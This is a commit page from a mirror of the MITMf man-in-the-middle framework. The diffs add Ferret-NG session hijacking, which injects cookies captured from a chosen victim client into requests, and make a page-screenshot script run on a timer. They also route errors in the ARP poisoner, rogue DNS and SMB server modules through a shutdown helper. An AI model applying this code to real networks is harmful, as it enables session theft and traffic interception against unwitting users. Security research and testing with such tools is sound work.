mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-20 21:43:28 -07:00
Screenshotter plugin now live!
Added an interval option to specify the interval at which to take the sceenshots Ferret-NG plugin is pretty much set also, was a bit of a dummy and didn't take into account that we would have sessions from multiple clients (duh!) , so I added a section in the config file to specify the client to hijack the sessions from , also added an option to load the cookies from a log file!
This commit is contained in:
parent
ff39a302f9
commit
b9371f7cdc
17 changed files with 130 additions and 70 deletions
|
@ -41,6 +41,7 @@ import logging
|
|||
|
||||
from configobj import ConfigObj
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.utils import shutdown
|
||||
|
||||
from dnslib import *
|
||||
from IPy import IP
|
||||
|
@ -481,7 +482,7 @@ class DNSChef(ConfigWatcher):
|
|||
self.startUDP()
|
||||
except socket.error as e:
|
||||
if "Address already in use" in e:
|
||||
sys.exit("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
|
||||
shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
|
||||
|
||||
# Initialize and start the DNS Server
|
||||
def startUDP(self):
|
||||
|
|
|
@ -71,9 +71,14 @@ class ClientRequest(Request):
|
|||
del headers['cache-control']
|
||||
|
||||
if 'host' in headers:
|
||||
if headers['host'] in self.urlMonitor.cookies:
|
||||
mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host']))
|
||||
headers['cookie'] = self.urlMonitor.cookies[headers['host']]
|
||||
try:
|
||||
for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]:
|
||||
if headers['host'] == entry['host']:
|
||||
mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host']))
|
||||
headers['cookie'] = entry['cookie']
|
||||
except KeyError:
|
||||
mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client))
|
||||
pass
|
||||
|
||||
return headers
|
||||
|
||||
|
|
|
@ -32,6 +32,7 @@ class URLMonitor:
|
|||
# Start the arms race, and end up here...
|
||||
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
|
||||
cookies = dict()
|
||||
hijack_client = ''
|
||||
_instance = None
|
||||
|
||||
def __init__(self):
|
||||
|
|
|
@ -2875,4 +2875,4 @@ function grab() {
|
|||
});
|
||||
}
|
||||
|
||||
grab()
|
||||
setInterval(function(){grab()}, SECONDS_GO_HERE);
|
|
@ -4,6 +4,7 @@ import sys
|
|||
import threading
|
||||
|
||||
from scapy.all import *
|
||||
from core.utils import shutdown
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
|
@ -21,9 +22,9 @@ class ARPWatch:
|
|||
try:
|
||||
self.gatewaymac = getmacbyip(self.gatewayip)
|
||||
if self.gatewaymac is None:
|
||||
sys.exit("[ARPWatch] Error: Could not resolve gateway's MAC address")
|
||||
shutdown("[ARPWatch] Error: Could not resolve gateway's MAC address")
|
||||
except Exception, e:
|
||||
sys.exit("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e))
|
||||
shutdown("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e))
|
||||
|
||||
mitmf_logger.debug("[ARPWatch] gatewayip => {}".format(self.gatewayip))
|
||||
mitmf_logger.debug("[ARPWatch] gatewaymac => {}".format(self.gatewaymac))
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
import logging
|
||||
import threading
|
||||
from time import sleep
|
||||
from core.utils import shutdown
|
||||
from scapy.all import *
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
@ -42,7 +43,7 @@ class ARPpoisoner():
|
|||
|
||||
def start(self):
|
||||
if self.gatewaymac is None:
|
||||
sys.exit("[ARPpoisoner] Error: Could not resolve gateway's MAC address")
|
||||
shutdown("[ARPpoisoner] Error: Could not resolve gateway's MAC address")
|
||||
|
||||
mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip))
|
||||
mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac))
|
||||
|
|
|
@ -4,6 +4,7 @@ import threading
|
|||
from socket import error as socketerror
|
||||
from impacket import version, smbserver, LOG
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.utils import shutdown
|
||||
|
||||
LOG.setLevel(logging.INFO)
|
||||
LOG.propagate = False
|
||||
|
@ -29,7 +30,7 @@ class SMBserver(ConfigWatcher):
|
|||
self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"])
|
||||
except socketerror as e:
|
||||
if "Address already in use" in e:
|
||||
sys.exit("\n[-] Unable to start SMB server on port 445: port already in use")
|
||||
shutdown("\n[-] Unable to start SMB server on port 445: port already in use")
|
||||
|
||||
def start(self):
|
||||
t = threading.Thread(name='SMBserver', target=self.server.start)
|
||||
|
|
|
@ -27,9 +27,15 @@ import sys
|
|||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import get_if_addr, get_if_hwaddr
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
def shutdown(message=None):
|
||||
for plugin in ProxyPlugins.getInstance().plist:
|
||||
plugin.finish()
|
||||
sys.exit(message)
|
||||
|
||||
class SystemConfig:
|
||||
|
||||
@staticmethod
|
||||
|
@ -44,11 +50,11 @@ class SystemConfig:
|
|||
try:
|
||||
ip_address = get_if_addr(interface)
|
||||
if (ip_address == "0.0.0.0") or (ip_address is None):
|
||||
exit("[Utils] Interface {} does not have an assigned IP address".format(interface))
|
||||
shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface))
|
||||
|
||||
return ip_address
|
||||
except Exception, e:
|
||||
exit("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
|
||||
shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
|
||||
|
||||
@staticmethod
|
||||
def getMAC(interface):
|
||||
|
@ -56,7 +62,7 @@ class SystemConfig:
|
|||
mac_address = get_if_hwaddr(interface)
|
||||
return mac_address
|
||||
except Exception, e:
|
||||
exit("[Utils] Error retrieving MAC address from {}: {}".format(interface, e))
|
||||
shutdown("[Utils] Error retrieving MAC address from {}: {}".format(interface, e))
|
||||
|
||||
class IpTables:
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue